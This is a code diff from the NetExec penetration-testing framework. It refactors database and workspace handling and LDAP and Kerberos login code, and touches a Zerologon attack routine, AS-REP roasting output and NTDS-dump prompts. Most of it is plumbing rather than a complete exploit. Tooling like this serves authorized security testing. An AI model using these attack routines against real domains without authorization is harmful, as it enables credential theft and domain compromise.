             except Exception:
                 self.context.log.debug("Error updating zerologon status in database")
 
-    def perform_attack(self, dc_handle, dc_ip, target_computer):
+    def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
         # Keep authenticating until successful. Expected average number of attempts needed: 256.
         self.context.log.debug("Performing authentication attempts...")
         rpc_con = None
         try:
-            binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
-            rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
+            binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
+            rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
+            rpc_con_.setRemoteHost(remoteHost)
+            rpc_con = rpc_con_.get_dce_rpc()
             rpc_con.connect()
             rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
             for _attempt in range(MAX_ATTEMPTS):

nxc/netexec.py

@@ -12,6 +12,7 @@ from nxc.paths import NXC_PATH
 from nxc.console import nxc_console
 from nxc.logger import nxc_logger
 from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
+from nxc.database import create_db_engine
 from concurrent.futures import ThreadPoolExecutor, as_completed
 import asyncio
 from nxc.helpers import powershell
@@ -20,8 +21,6 @@ import os
 from os.path import exists
 from os.path import join as path_join
 from sys import exit
-import logging
-import sqlalchemy
 from rich.progress import Progress
 import platform
 
@@ -38,19 +37,15 @@ if platform.system() != "Windows":
     resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
 
 
-
-def create_db_engine(db_path):
-    return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
-
-
 async def start_run(protocol_obj, args, db, targets):
+    futures = []
     nxc_logger.debug("Creating ThreadPoolExecutor")
     if args.no_progress or len(targets) == 1:
-        with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
+        with ThreadPoolExecutor(max_workers=args.threads) as executor:
             nxc_logger.debug(f"Creating thread for {protocol_obj}")
-            _ = [executor.submit(protocol_obj, args, db, target) for target in targets]
+            futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
     else:
-        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
+        with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
             current = 0
             total = len(targets)
             tasks = progress.add_task(
@@ -62,23 +57,17 @@ async def start_run(protocol_obj, args, db, targets):
             for _ in as_completed(futures):
                 current += 1
                 progress.update(tasks, completed=current)
+    for future in as_completed(futures):
+        try:
+            future.result()
+        except Exception:
+            nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
 
 
 def main():
     first_run_setup(nxc_logger)
-    root_logger = logging.getLogger("root")
     args = gen_cli_args()
 
-    if args.verbose:
-        nxc_logger.logger.setLevel(logging.INFO)
-        root_logger.setLevel(logging.INFO)
-    elif args.debug:
-        nxc_logger.logger.setLevel(logging.DEBUG)
-        root_logger.setLevel(logging.DEBUG)
-    else:
-        nxc_logger.logger.setLevel(logging.ERROR)
-        root_logger.setLevel(logging.ERROR)
-
     # if these are the same, it might double log to file (two FileHandlers will be added)
     # but this should never happen by accident
     if config_log:
@@ -86,8 +75,8 @@ def main():
     if hasattr(args, "log") and args.log:
         nxc_logger.add_file_log(args.log)
 
-    nxc_logger.debug("PYTHON VERSION: " + sys.version)
-    nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
+    nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
+    nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
     nxc_logger.debug(f"Passed args: {args}")
 
     # FROM HERE ON A PROTOCOL IS REQUIRED
@@ -150,7 +139,8 @@ def main():
     nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
 
     protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
-    nxc_logger.debug(f"Protocol Object: {protocol_object}")
+    nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
+    nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
     protocol_db_object = p_loader.load_protocol(protocol_db_path).database
     nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
 
@@ -183,13 +173,15 @@ def main():
             nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
         exit(0)
     elif args.module:
-        nxc_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
-        for m in map(str.lower, args.module):
+        # Check the modules for sanity before loading the protocol
+        nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
+        proto_module_paths = []
+        for m in args.module:
             if m not in modules:
                 nxc_logger.error(f"Module not found: {m}")
                 exit(1)
 
-            nxc_logger.debug(f"Loading module {m} at path {modules[m]['path']}")
+            nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
             module = loader.init_module(modules[m]["path"])
 
             if not module.opsec_safe:
@@ -197,22 +189,12 @@ def main():
                     nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
                     nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
                 else:
-                    ans = input(
-                        highlight(
-                            "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf",
-                            "red",
-                        )
-                    )
+                    ans = input(highlight("[!] Module is not opsec safe, are you sure you want to run this? [Y/n] For global configuration, change ignore_opsec value to True on ~/nxc/nxc.conf", "red"))
                     if ans.lower() not in ["y", "yes", ""]:
                         exit(1)
 
             if not module.multiple_hosts and len(targets) > 1:
-                ans = input(
-                    highlight(
-                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
-                        "red",
-                    )
-                )
+                ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", "red"))
                 if ans.lower() not in ["y", "yes", ""]:
                     exit(1)
 
@@ -223,24 +205,18 @@ def main():
                 if not args.server_port:
                     args.server_port = server_port_dict[args.server]
 
-            nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
-            nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
-            # get currently set modules, otherwise default to empty list
-            current_modules = getattr(protocol_object, "module", [])
-            current_modules.append(module)
-            protocol_object.module = current_modules
-            nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
+            # Add modules paths to the protocol object so it can load them itself
+            proto_module_paths.append(modules[m]["path"])
+        protocol_object.module_paths = proto_module_paths
 
     if hasattr(args, "ntds") and args.ntds and not args.userntds:
-        ans = input(
-            highlight(
-                "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ",
-                "red",
-            )
-        )
+        ans = input(highlight("[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ", "red"))
         if ans.lower() not in ["y", "yes", ""]:
             exit(1)
 
+    if args.jitter and len(targets) > 1:
+        nxc_logger.highlight(highlight("[!] Jitter is only throttling authentications per target!", "red"))
+
     try:
         asyncio.run(start_run(protocol_object, args, db, targets))
     except KeyboardInterrupt:

nxc/nxcdb.py

@@ -1,31 +1,25 @@
 import cmd
-import configparser
 import csv
+import sys
 import os
+import argparse
 from os import listdir
 from os.path import exists
 from os.path import join as path_join
-import shutil
-from sqlite3 import connect
-import sys
 from textwrap import dedent
-
 from requests import get, post, ConnectionError
-from sqlalchemy import create_engine
 from terminaltables import AsciiTable
+from termcolor import colored
 
 from nxc.loaders.protocolloader import ProtocolLoader
-from nxc.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
+from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
+from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
 
 
 class UserExitedProto(Exception):
     pass
 
 
-def create_db_engine(db_path):
-    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
-
-
 def print_table(data, title=None):
     print()
     table = AsciiTable(data)
@@ -446,29 +440,15 @@ class NXCDBMenu(cmd.Cmd):
     def __init__(self, config_path):
         cmd.Cmd.__init__(self)
         self.config_path = config_path
-
-        try:
-            self.config = configparser.ConfigParser()
-            self.config.read(self.config_path)
-        except Exception as e:
-            print(f"[-] Error reading nxc.conf: {e}")
-            sys.exit(1)
-
         self.conn = None
         self.p_loader = ProtocolLoader()
         self.protocols = self.p_loader.get_protocols()
 
-        self.workspace = self.config.get("nxc", "workspace")
+        self.config = open_config(self.config_path)
+        self.workspace = get_workspace(self.config)
+        self.db = get_db(self.config)
         self.do_workspace(self.workspace)
 
-        self.db = self.config.get("nxc", "last_used_db")
-        if self.db:
-            self.do_proto(self.db)
-
-    def write_configfile(self):
-        with open(self.config_path, "w") as configfile:
-            self.config.write(configfile)
-
     def do_proto(self, proto):
         if not proto:
             return
@@ -479,7 +459,7 @@ class NXCDBMenu(cmd.Cmd):
             db_nav_object = self.p_loader.load_protocol(self.protocols[proto]["nvpath"])
             db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
             self.config.set("nxc", "last_used_db", proto)
-            self.write_configfile()
+            write_configfile(self.config, self.config_path)
             try:
                 proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
                 proto_menu.cmdloop()
@@ -506,18 +486,18 @@ class NXCDBMenu(cmd.Cmd):
         if subcommand == "create":
             new_workspace = line.split()[1].strip()
             print(f"[*] Creating workspace '{new_workspace}'")
-            self.create_workspace(new_workspace, self.p_loader, self.protocols)
+            create_workspace(new_workspace, self.p_loader)
             self.do_workspace(new_workspace)
         elif subcommand == "list":
             print("[*] Enumerating Workspaces")
             for workspace in listdir(path_join(WORKSPACE_DIR)):
                 if workspace == self.workspace:
-                    print("==> " + workspace)
+                    print(f" * {colored(workspace, 'green')}")
                 else:
-                    print(workspace)
+                    print(f"   {workspace}")
         elif exists(path_join(WORKSPACE_DIR, line)):
             self.config.set("nxc", "workspace", line)
-            self.write_configfile()
+            write_configfile(self.config, self.config_path)
             self.workspace = line
             self.prompt = f"nxcdb ({line}) > "
 
@@ -538,65 +518,49 @@ class NXCDBMenu(cmd.Cmd):
         Exits
         """
         print_help(help_string)
-
-    @staticmethod
-    def create_workspace(workspace_name, p_loader, protocols):
-        os.mkdir(path_join(WORKSPACE_DIR, workspace_name))
-
-        for protocol in protocols:
-            protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
-            proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
-
-            if not exists(proto_db_path):
-                print(f"[*] Initializing {protocol.upper()} protocol database")
-                conn = connect(proto_db_path)
-                c = conn.cursor()
-
-                # try to prevent some weird sqlite I/O errors
-                c.execute("PRAGMA journal_mode = OFF")
-                c.execute("PRAGMA foreign_keys = 1")
-
-                protocol_object.database.db_schema(c)
-
-                # commit the changes and close everything off
-                conn.commit()
-                conn.close()
-
-
-def delete_workspace(workspace_name):
-    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
-
-
-def initialize_db(logger):
-    if not exists(path_join(WS_PATH, "default")):
-        logger.debug("Creating default workspace")
-        os.mkdir(path_join(WS_PATH, "default"))
-
-    p_loader = ProtocolLoader()
-    protocols = p_loader.get_protocols()
-    for protocol in protocols:
-        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
-        proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db")
-
-        if not exists(proto_db_path):
-            logger.debug(f"Initializing {protocol.upper()} protocol database")
-            conn = connect(proto_db_path)
-            c = conn.cursor()
-            # try to prevent some weird sqlite I/O errors
-            c.execute("PRAGMA journal_mode = OFF")  # could try setting to PERSIST if DB corruption starts occurring
-            c.execute("PRAGMA foreign_keys = 1")
-            # set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
-            c.execute("PRAGMA busy_timeout = 5000")
-            protocol_object.database.db_schema(c)
-            # commit the changes and close everything off
-            conn.commit()
-            conn.close()
-
+    
 
 def main():
     if not exists(CONFIG_PATH):
         print("[-] Unable to find config file")
         sys.exit(1)
+    
+    parser = argparse.ArgumentParser(
+        description="NXCDB is a database navigator for NXC",
+    )
+    parser.add_argument(
+        "-gw",
+        "--get-workspace",
+        action="store_true",
+        help="get the current workspace",
+    )
+    parser.add_argument(
+        "-cw",
+        "--create-workspace",
+        help="create a new workspace",
+    )
+    parser.add_argument(
+        "-sw",
+        "--set-workspace",
+        help="set the current workspace",
+    )
+    args = parser.parse_args()
+
+    if args.create_workspace:
+        create_workspace(args.create_workspace)
+        sys.exit()
+    if args.set_workspace:
+        set_workspace(CONFIG_PATH, args.set_workspace)
+        sys.exit()
+    if args.get_workspace:
+        current_workspace = get_workspace(open_config(CONFIG_PATH))
+        for workspace in listdir(path_join(WORKSPACE_DIR)):
+            if workspace == current_workspace:
+                print(f" * {colored(workspace, 'green')}")
+            else:
+                print(f"   {workspace}")
+        sys.exit()
+
     try:
         nxcdbnav = NXCDBMenu(CONFIG_PATH)
         nxcdbnav.cmdloop()

nxc/parsers/ldap_results.py

@@ -0,0 +1,13 @@
+from impacket.ldap import ldapasn1 as ldapasn1_impacket
+
+def parse_result_attributes(ldap_response):
+    parsed_response = []
+    for entry in ldap_response:
+        # SearchResultReferences may be returned
+        if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
+            continue
+        attribute_map = {}
+        for attribute in entry["attributes"]:
+            attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
+        parsed_response.append(attribute_map)
+    return parsed_response

nxc/paths.py

@@ -8,7 +8,7 @@ if os.name == "nt":
     TMP_PATH = os.getenv("LOCALAPPDATA") + "\\Temp\\nxc_hosted"
 if hasattr(sys, "getandroidapilevel"):
     TMP_PATH = os.path.join("/data", "data", "com.termux", "files", "usr", "tmp", "nxc_hosted")
-WS_PATH = os.path.join(NXC_PATH, "workspaces")
+
 CERT_PATH = os.path.join(NXC_PATH, "nxc.pem")
 CONFIG_PATH = os.path.join(NXC_PATH, "nxc.conf")
 WORKSPACE_DIR = os.path.join(NXC_PATH, "workspaces")

nxc/protocols/ftp/database.py

@@ -74,7 +74,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/ldap.py

@@ -5,7 +5,7 @@ import hmac
 import os
 import socket
 from binascii import hexlify
-from datetime import datetime
+from datetime import datetime, timedelta
 from re import sub, I
 from zipfile import ZipFile
 from termcolor import colored
@@ -38,6 +38,7 @@ from nxc.logger import NXCAdapter, nxc_logger
 from nxc.protocols.ldap.bloodhound import BloodHound
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.protocols.ldap.kerberos import KerberosAttacks
+from nxc.parsers.ldap_results import parse_result_attributes
 
 ldap_error_status = {
     "1": "STATUS_NOT_SUPPORTED",
@@ -165,7 +166,7 @@ class ldap(connection):
             ldap_url = f"{proto}://{host}"
             self.logger.info(f"Connecting to {ldap_url} with no baseDN")
             try:
-                ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
+                ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
                 if ldap_connection:
                     self.logger.debug(f"ldap_connection: {ldap_connection}")
             except SysCallError as e:
@@ -212,6 +213,7 @@ class ldap(connection):
         try:
             string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
             transport = DCERPCTransportFactory(string_binding)
+            transport.setRemoteHost(self.host)
             transport.set_connect_timeout(5)
             dce = transport.get_dce_rpc()
             if self.args.kerberos:
@@ -251,11 +253,10 @@ class ldap(connection):
     def enum_host_info(self):
         self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
         self.hostname = self.target
+        self.remoteName = self.target
         self.domain = self.targetDomain
         # smb no open, specify the domain
-        if self.args.no_smb:
-            self.domain = self.args.domain
-        else:
+        if not self.args.no_smb:
             self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
 
             try:
@@ -266,8 +267,8 @@ class ldap(connection):
                 if "STATUS_NOT_SUPPORTED" in str(e):
                     self.no_ntlm = True
             if not self.no_ntlm:
-                self.domain = self.conn.getServerDNSDomainName()
                 self.hostname = self.conn.getServerName()
+                self.targetDomain = self.domain = self.conn.getServerDNSDomainName()
             self.server_os = self.conn.getServerOS()
             self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
             self.os_arch = self.get_os_arch()
@@ -275,6 +276,11 @@ class ldap(connection):
 
             if not self.domain:
                 self.domain = self.hostname
+            if self.args.domain:
+                self.domain = self.args.domain
+            if self.args.local_auth:
+                self.domain = self.hostname
+            self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
             try:  # noqa: SIM105
                 # DC's seem to want us to logoff first, windows workstations sometimes reset the connection
@@ -282,40 +288,32 @@ class ldap(connection):
             except Exception:
                 pass
 
-            if self.args.domain:
-                self.domain = self.args.domain
-            if self.args.local_auth:
-                self.domain = self.hostname
-
             # Re-connect since we logged off
             self.create_conn_obj()
-        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
+        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-"))
 
     def print_host_info(self):
         self.logger.debug("Printing host info for LDAP")
         if self.args.no_smb:
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "389"
-            self.logger.display(f"Connecting to LDAP {self.hostname}")
+            self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
+            self.logger.extra["port"] = self.port
+            self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
         else:
             self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
             self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
             signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
             smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
+            self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
             self.logger.extra["protocol"] = "LDAP"
         return True
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         self.username = username
         self.password = password
         self.domain = domain
@@ -342,42 +340,29 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} [1]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
-            self.ldapConnection.kerberosLogin(
-                username,
-                password,
-                domain,
-                self.lmhash,
-                self.nthash,
-                aesKey,
-                kdcHost=kdcHost,
-                useCache=useCache,
-            )
-
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
+            self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
             if self.username == "":
                 self.username = self.get_ldap_username()
 
             self.check_if_admin()
 
             used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            out = f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
+            self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
 
-
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
-            self.logger.success(out)
-
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -399,7 +384,7 @@ class ldap(connection):
             return False
         except (KeyError, KerberosException, OSError) as e:
             self.logger.fail(
-                f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {e!s}",
+                f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {e!s}",
                 color="red",
             )
             return False
@@ -408,33 +393,21 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [2]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.kerberosLogin(
-                        username,
-                        password,
-                        domain,
-                        self.lmhash,
-                        self.nthash,
-                        aesKey,
-                        kdcHost=kdcHost,
-                        useCache=useCache,
-                    )
-
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
                     if self.username == "":
                         self.username = self.get_ldap_username()
 
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    out = f"{domain}\\{self.username} {self.mark_pwned()}"
+                    self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}")
 
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
-                    self.logger.success(out)
-
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -442,21 +415,21 @@ class ldap(connection):
                 except SessionError as e:
                     error, desc = e.getErrorString()
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error!s}",
+                        f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error!s}",
                         color="magenta" if error in ldap_error_status else "red",
                     )
                     return False
                 except Exception as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if error_code in ldap_error_status else "red",
                     )
                     return False
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8)} {error_code!s}",
+                    f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (process_secret(kerb_pass))} {error_code!s}",
                     color="magenta" if error_code in ldap_error_status else "red",
                 )
                 return False
@@ -471,26 +444,24 @@ class ldap(connection):
             if hash_tgt:
                 self.logger.highlight(f"{hash_tgt}")
                 with open(self.args.asreproast, "a+") as hash_asreproast:
-                    hash_asreproast.write(hash_tgt + "\n")
+                    hash_asreproast.write(f"{hash_tgt}\n")
             return False
 
         try:
             # Connect to LDAP
+            self.logger.extra["protocol"] = "LDAPS" if (self.args.gmsa or self.port == 636) else "LDAP"
+            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
             proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap"
             ldap_url = f"{proto}://{self.target}"
-            self.logger.debug(f"Connecting to {ldap_url} - {self.baseDN} [3]")
-            self.ldapConnection = ldap_impacket.LDAPConnection(ldap_url, self.baseDN)
+            self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
+            self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
             self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
             self.check_if_admin()
 
             # Prepare success credential text
-            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
 
-            self.logger.extra["protocol"] = "LDAP"
-            self.logger.extra["port"] = "636" if (self.args.gmsa or self.port == 636) else "389"
-            self.logger.success(out)
-
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -500,25 +471,18 @@ class ldap(connection):
                 # We need to try SSL
                 try:
                     # Connect to LDAPS
+                    self.logger.extra["protocol"] = "LDAPS"
+                    self.logger.extra["port"] = "636"
                     ldaps_url = f"ldaps://{self.target}"
-                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} [4]")
-                    self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
-                    self.ldapConnection.login(
-                        self.username,
-                        self.password,
-                        self.domain,
-                        self.lmhash,
-                        self.nthash,
-                    )
+                    self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
+                    self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host)
+                    self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
                     self.check_if_admin()
 
                     # Prepare success credential text
-                    out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
-                    self.logger.extra["protocol"] = "LDAPS"
-                    self.logger.extra["port"] = "636"
-                    self.logger.success(out)
+                    self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
 
-                    if not self.args.local_auth:
+                    if not self.args.local_auth and self.username != "":
                         add_user_bh(self.username, self.domain, self.logger, self.config)
                     if self.admin_privs:
                         add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -526,18 +490,21 @@ class ldap(connection):
                 except Exception as e:
                     error_code = str(e).split()[-2][:-1]
                     self.logger.fail(
-                        f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                        f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                         color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                     )
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             else:
                 error_code = str(e).split()[-2][:-1]
                 self.logger.fail(
-                    f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
+                    f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
                     color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
                 )
+                if proto == "ldaps":
+                    self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
             return False
         except OSError as e:
-            self.logger.fail(f"{self.domain}\\{self.username}:{self.password if not self.config.get('nxc', 'audit_mode') else self.config.get('nxc', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
+            self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
             return False
 
     def hash_login(self, domain, username, ntlm_hash):
@@ -566,25 +533,25 @@ class ldap(connection):
